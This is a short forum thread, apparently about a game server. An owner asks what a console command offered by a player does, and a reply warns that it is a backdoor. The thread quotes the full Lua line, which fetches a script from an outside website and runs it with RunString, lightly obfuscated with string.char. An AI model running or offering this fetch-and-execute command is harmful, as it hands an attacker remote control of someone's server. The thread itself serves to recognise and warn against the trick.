A player on my server wants me to run this command?

He says if i put this command in console it will make him lag less, ive never seen this command and dont want to put it in my RCON, any one know what this command actually does

http.Fetch([[http]]..string.char(58)..[[/]]..[[ http://aptitude.cf/a.lua ]], function(ret) RunString( ret ) end

Don’t run it, it’s a script that would allow him to backdoor into your server, running whatever command he wants.

If you’re wanting to know what the ‘command’ will exactly do: it will read a lua file from a website and run its contents, which he could change to have it run something else on your server.

In the future, if someone asks you to run something like this out of the blue, they’re most likely trying to trick you so they can wreck or take control of your server.

Thank you!